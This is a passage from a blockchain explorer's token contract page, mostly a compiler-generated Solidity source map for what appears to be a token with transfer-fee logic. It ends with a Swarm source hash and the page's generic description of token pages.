:11;;13905:15:::1;::::0;14028:4;;14055::::1;::::0;14075:15:::1;::::0;13905:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5592:6:0;:14;;-1:-1:-1;;;;5592:14:0;;;-1:-1:-1;;;;13626:483:0:o;7852:973::-;7936:17;7959:15;7977:34;7987:4;7993:9;8004:6;7977:9;:34::i;:::-;7959:52;;8034:110;8140:3;8034:87;8072:15;;8060:9;;:27;8059:61;;8106:14;;8059:61;;;8091:12;;8059:61;8034:6;;:24;:87::i;:::-;:105;;:110::i;:::-;8165:13;;8022:122;;-1:-1:-1;;;;;;8159:19:0;;;8165:13;;8159:19;:44;;;;-1:-1:-1;;;;;;8182:21:0;;8198:4;8182:21;;8159:44;8155:300;;;8232:211;8439:3;8232:184;8296:16;;8284:9;;:28;8283:114;;8382:15;;8283:114;;;8341:13;;8232:6;;:28;:184::i;:211::-;8220:223;;8155:300;8469:13;;8465:172;;8544:4;8526:24;;;;:9;:24;;;;;;:39;;8555:9;8526:28;:39::i;:::-;8517:4;8499:24;;;;:9;:24;;;;;;;:66;;;;8585:40;;-1:-1:-1;;;;;8585:40:0;;;;;;;8615:9;;8585:40;:::i;:::-;;;;;;;;8465:172;-1:-1:-1;;;;;8665:15:0;;;;;;:9;:15;;;;;;:28;;8685:7;8665:19;:28::i;:::-;-1:-1:-1;;;;;8647:15:0;;;;;;:9;:15;;;;;:46;8720:40;8738:21;:6;8749:9;8738:10;:21::i;:::-;-1:-1:-1;;;;;8720:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8704:13:0;;;;;;;:9;:13;;;;;:56;;;;8776:41;;;8795:21;:6;8806:9;8795:10;:21::i;:::-;8776:41;;;;;;:::i;:::-;;;;;;;;7852:973;;;;;:::o;11143:217::-;11232:7;11258:23;11270:5;11277:3;11258:11;:23::i;:::-;11252:29;-1:-1:-1;11306:17:0;11252:29;11306:11;:17;:::i;:::-;11292:31;11143:217;-1:-1:-1;;;;11143:217:0:o;2759:246::-;2817:7;2841:6;2837:47;;-1:-1:-1;2871:1:0;2864:8;;2837:47;2894:9;2906:5;2910:1;2906;:5;:::i;:::-;2894:17;-1:-1:-1;2939:1:0;2930:5;2934:1;2894:17;2930:5;:::i;:::-;:10;2922:56;;;;-1:-1:-1;;;2922:56:0;;;;;;;:::i;3013:132::-;3071:7;3098:39;3102:1;3105;3098:39;;;;;;;;;;;;;;;;;:3;:39::i;2196:179::-;2254:7;;2286:5;2290:1;2286;:5;:::i;:::-;2274:17;;2315:1;2310;:6;;2302:46;;;;-1:-1:-1;;;2302:46:0;;;;;;;:::i;2383:136::-;2441:7;2468:43;2472:1;2475;2468:43;;;;;;;;;;;;;;;;;:3;:43::i;11368:157::-;-1:-1:-1;;;;;11463:25:0;;11439:7;11463:25;;;:18;:25;;;;;;;;11459:37;;11490:6;11495:1;11490:6;;:::i;3153:223::-;3273:7;3308:12;3301:5;3293:28;;;;-1:-1:-1;;;3293:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3332:9:0;3344:5;3348:1;3344;:5;:::i;14:138:1:-;84:20;;113:33;84:20;113:33;:::i;157:259::-;;269:2;257:9;248:7;244:23;240:32;237:2;;;290:6;282;275:22;237:2;334:9;321:23;353:33;380:5;353:33;:::i;421:263::-;;544:2;532:9;523:7;519:23;515:32;512:2;;;565:6;557;550:22;512:2;602:9;596:16;621:33;648:5;621:33;:::i;689:402::-;;;818:2;806:9;797:7;793:23;789:32;786:2;;;839:6;831;824:22;786:2;883:9;870:23;902:33;929:5;902:33;:::i;:::-;954:5;-1:-1:-1;1011:2:1;996:18;;983:32;1024:35;983:32;1024:35;:::i;:::-;1078:7;1068:17;;;776:315;;;;;:::o;1096:470::-;;;;1242:2;1230:9;1221:7;1217:23;1213:32;1210:2;;;1263:6;1255;1248:22;1210:2;1307:9;1294:23;1326:33;1353:5;1326:33;:::i;:::-;1378:5;-1:-1:-1;1435:2:1;1420:18;;1407:32;1448:35;1407:32;1448:35;:::i;:::-;1200:366;;1502:7;;-1:-1:-1;;;1556:2:1;1541:18;;;;1528:32;;1200:366::o;1571:327::-;;;1700:2;1688:9;1679:7;1675:23;1671:32;1668:2;;;1721:6;1713;1706:22;1668:2;1765:9;1752:23;1784:33;1811:5;1784:33;:::i;:::-;1836:5;1888:2;1873:18;;;;1860:32;;-1:-1:-1;;;1658:240:1:o;1903:1180::-;;2018:2;2061;2049:9;2040:7;2036:23;2032:32;2029:2;;;2082:6;2074;2067:22;2029:2;2127:9;2114:23;2156:18;2197:2;2189:6;2186:14;2183:2;;;2218:6;2210;2203:22;2183:2;2261:6;2250:9;2246:22;2236:32;;2306:7;2299:4;2295:2;2291:13;2287:27;2277:2;;2333:6;2325;2318:22;2277:2;2374;2361:16;2396:2;2392;2389:10;2386:2;;;2402:18;;:::i;:::-;2449:2;2445;2441:11;2481:2;2475:9;2544:2;2540:7;2535:2;2531;2527:11;2523:25;2515:6;2511:38;2599:6;2587:10;2584:22;2579:2;2567:10;2564:18;2561:46;2558:2;;;2610:18;;:::i;:::-;2646:2;2639:22;2696:18;;;2730:15;;;;-1:-1:-1;2765:11:1;;;2795;;;2791:20;;2788:33;-1:-1:-1;2785:2:1;;;2839:6;2831;2824:22;2785:2;2866:6;2857:15;;2881:171;2895:2;2892:1;2889:9;2881:171;;;2952:25;2973:3;2952:25;:::i;:::-;2940:38;;2913:1;2906:9;;;;;2998:12;;;;3030;;2881:171;;;-1:-1:-1;3071:6:1;1998:1085;-1:-1:-1;;;;;;;;1998:1085:1:o;3088:297::-;;3208:2;3196:9;3187:7;3183:23;3179:32;3176:2;;;3229:6;3221;3214:22;3176:2;3266:9;3260:16;3319:5;3312:13;3305:21;3298:5;3295:32;3285:2;;3346:6;3338;3331:22;3390:316;;;;3547:2;3535:9;3526:7;3522:23;3518:32;3515:2;;;3568:6;3560;3553:22;3515:2;3602:9;3596:16;3586:26;;3652:2;3641:9;3637:18;3631:25;3621:35;;3696:2;3685:9;3681:18;3675:25;3665:35;;3505:201;;;;;:::o;3711:203::-;-1:-1:-1;;;;;3875:32:1;;;;3857:51;;3845:2;3830:18;;3812:102::o;3919:304::-;-1:-1:-1;;;;;4149:15:1;;;4131:34;;4201:15;;4196:2;4181:18;;4174:43;4081:2;4066:18;;4048:175::o;4228:274::-;-1:-1:-1;;;;;4420:32:1;;;;4402:51;;4484:2;4469:18;;4462:34;4390:2;4375:18;;4357:145::o;4507:607::-;-1:-1:-1;;;;;4866:15:1;;;4848:34;;4913:2;4898:18;;4891:34;;;;4956:2;4941:18;;4934:34;;;;4999:2;4984:18;;4977:34;;;;5048:15;;;5042:3;5027:19;;5020:44;4828:3;5080:19;;5073:35;;;;4797:3;4782:19;;4764:350::o;5119:187::-;5284:14;;5277:22;5259:41;;5247:2;5232:18;;5214:92::o;5311:603::-;;5452:2;5481;5470:9;5463:21;5513:6;5507:13;5556:6;5551:2;5540:9;5536:18;5529:34;5581:4;5594:140;5608:6;5605:1;5602:13;5594:140;;;5703:14;;;5699:23;;5693:30;5669:17;;;5688:2;5665:26;5658:66;5623:10;;5594:140;;;5752:6;5749:1;5746:13;5743:2;;;5822:4;5817:2;5808:6;5797:9;5793:22;5789:31;5782:45;5743:2;-1:-1:-1;5898:2:1;5877:15;-1:-1:-1;;5873:29:1;5858:45;;;;5905:2;5854:54;;5432:482;-1:-1:-1;;;5432:482:1:o;5919:399::-;6121:2;6103:21;;;6160:2;6140:18;;;6133:30;6199:34;6194:2;6179:18;;6172:62;-1:-1:-1;;;6265:2:1;6250:18;;6243:33;6308:3;6293:19;;6093:225::o;6323:349::-;6525:2;6507:21;;;6564:2;6544:18;;;6537:30;6603:27;6598:2;6583:18;;6576:55;6663:2;6648:18;;6497:175::o;6677:398::-;6879:2;6861:21;;;6918:2;6898:18;;;6891:30;6957:34;6952:2;6937:18;;6930:62;-1:-1:-1;;;7023:2:1;7008:18;;7001:32;7065:3;7050:19;;6851:224::o;7080:351::-;7282:2;7264:21;;;7321:2;7301:18;;;7294:30;7360:29;7355:2;7340:18;;7333:57;7422:2;7407:18;;7254:177::o;7436:397::-;7638:2;7620:21;;;7677:2;7657:18;;;7650:30;7716:34;7711:2;7696:18;;7689:62;-1:-1:-1;;;7782:2:1;7767:18;;7760:31;7823:3;7808:19;;7610:223::o;7838:356::-;8040:2;8022:21;;;8059:18;;;8052:30;8118:34;8113:2;8098:18;;8091:62;8185:2;8170:18;;8012:182::o;8199:405::-;8401:2;8383:21;;;8440:2;8420:18;;;8413:30;8479:34;8474:2;8459:18;;8452:62;-1:-1:-1;;;8545:2:1;8530:18;;8523:39;8594:3;8579:19;;8373:231::o;8609:401::-;8811:2;8793:21;;;8850:2;8830:18;;;8823:30;8889:34;8884:2;8869:18;;8862:62;-1:-1:-1;;;8955:2:1;8940:18;;8933:35;9000:3;8985:19;;8783:227::o;9015:350::-;9217:2;9199:21;;;9256:2;9236:18;;;9229:30;9295:28;9290:2;9275:18;;9268:56;9356:2;9341:18;;9189:176::o;9370:400::-;9572:2;9554:21;;;9611:2;9591:18;;;9584:30;9650:34;9645:2;9630:18;;9623:62;-1:-1:-1;;;9716:2:1;9701:18;;9694:34;9760:3;9745:19;;9544:226::o;9775:347::-;9977:2;9959:21;;;10016:2;9996:18;;;9989:30;10055:25;10050:2;10035:18;;10028:53;10113:2;10098:18;;9949:173::o;10127:177::-;10273:25;;;10261:2;10246:18;;10228:76::o;10309:983::-;;10619:3;10608:9;10604:19;10650:6;10639:9;10632:25;10676:2;10714:6;10709:2;10698:9;10694:18;10687:34;10757:3;10752:2;10741:9;10737:18;10730:31;10781:6;10816;10810:13;10847:6;10839;10832:22;10885:3;10874:9;10870:19;10863:26;;10924:2;10916:6;10912:15;10898:29;;10945:4;10958:195;10972:6;10969:1;10966:13;10958:195;;;11037:13;;-1:-1:-1;;;;;11033:39:1;11021:52;;11128:15;;;;11093:12;;;;11069:1;10987:9;10958:195;;;-1:-1:-1;;;;;;;11209:32:1;;;;11204:2;11189:18;;11182:60;-1:-1:-1;;;11273:3:1;11258:19;11251:35;11170:3;10580:712;-1:-1:-1;;;10580:712:1:o;11297:184::-;11469:4;11457:17;;;;11439:36;;11427:2;11412:18;;11394:87::o;11486:128::-;;11557:1;11553:6;11550:1;11547:13;11544:2;;;11563:18;;:::i;:::-;-1:-1:-1;11599:9:1;;11534:80::o;11619:217::-;;11685:1;11675:2;;-1:-1:-1;;;11710:31:1;;11764:4;11761:1;11754:15;11792:4;11717:1;11782:15;11675:2;-1:-1:-1;11821:9:1;;11665:171::o;11841:453::-;11937:6;11960:5;11974:314;12023:1;12060:2;12050:8;12047:16;12037:2;;12067:5;;;12037:2;12108:4;12103:3;12099:14;12093:4;12090:24;12087:2;;;12117:18;;:::i;:::-;12167:2;12157:8;12153:17;12150:2;;;12182:16;;;;12150:2;12261:17;;;;;12221:15;;11974:314;;;11918:376;;;;;;;:::o;12299:148::-;;12386:55;-1:-1:-1;;12427:4:1;12413:19;;12407:4;12452:922;12536:8;12526:2;;-1:-1:-1;12577:1:1;12591:5;;12526:2;12625:4;12615:2;;-1:-1:-1;12662:1:1;12676:5;;12615:2;12707:4;12725:1;12720:59;;;;12793:1;12788:183;;;;12700:271;;12720:59;12750:1;12741:10;;12764:5;;;12788:183;12825:3;12815:8;12812:17;12809:2;;;12832:18;;:::i;:::-;12888:1;12878:8;12874:16;12865:25;;12916:3;12909:5;12906:14;12903:2;;;12923:18;;:::i;:::-;12956:5;;;12700:271;;13055:2;13045:8;13042:16;13036:3;13030:4;13027:13;13023:36;13017:2;13007:8;13004:16;12999:2;12993:4;12990:12;12986:35;12983:77;12980:2;;;-1:-1:-1;13092:19:1;;;13127:14;;;13124:2;;;13144:18;;:::i;:::-;13177:5;;12980:2;13224:42;13262:3;13252:8;13246:4;13243:1;13224:42;:::i;:::-;13299:6;13294:3;13290:16;13281:7;13278:29;13275:2;;;13310:18;;:::i;:::-;13348:20;;12516:858;-1:-1:-1;;;;12516:858:1:o;13379:168::-;;13485:1;13481;13477:6;13473:14;13470:1;13467:21;13462:1;13455:9;13448:17;13444:45;13441:2;;;13492:18;;:::i;:::-;-1:-1:-1;13532:9:1;;13431:116::o;13552:125::-;;13620:1;13617;13614:8;13611:2;;;13625:18;;:::i;:::-;-1:-1:-1;13662:9:1;;13601:76::o;13682:135::-;;-1:-1:-1;;13742:17:1;;13739:2;;;13762:18;;:::i;:::-;-1:-1:-1;13809:1:1;13798:13;;13729:88::o;13822:127::-;13883:10;13878:3;13874:20;13871:1;13864:31;13914:4;13911:1;13904:15;13938:4;13935:1;13928:15;13954:127;14015:10;14010:3;14006:20;14003:1;13996:31;14046:4;14043:1;14036:15;14070:4;14067:1;14060:15;14086:133;-1:-1:-1;;;;;14163:31:1;;14153:42;;14143:2;;14209:1;14206;14199:12;14143:2;14133:86;:::o
Swarm Source
ipfs://95662eb4226c8703c14d4977e8523881fef78008e536bd91f035d9044a8b6bc0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.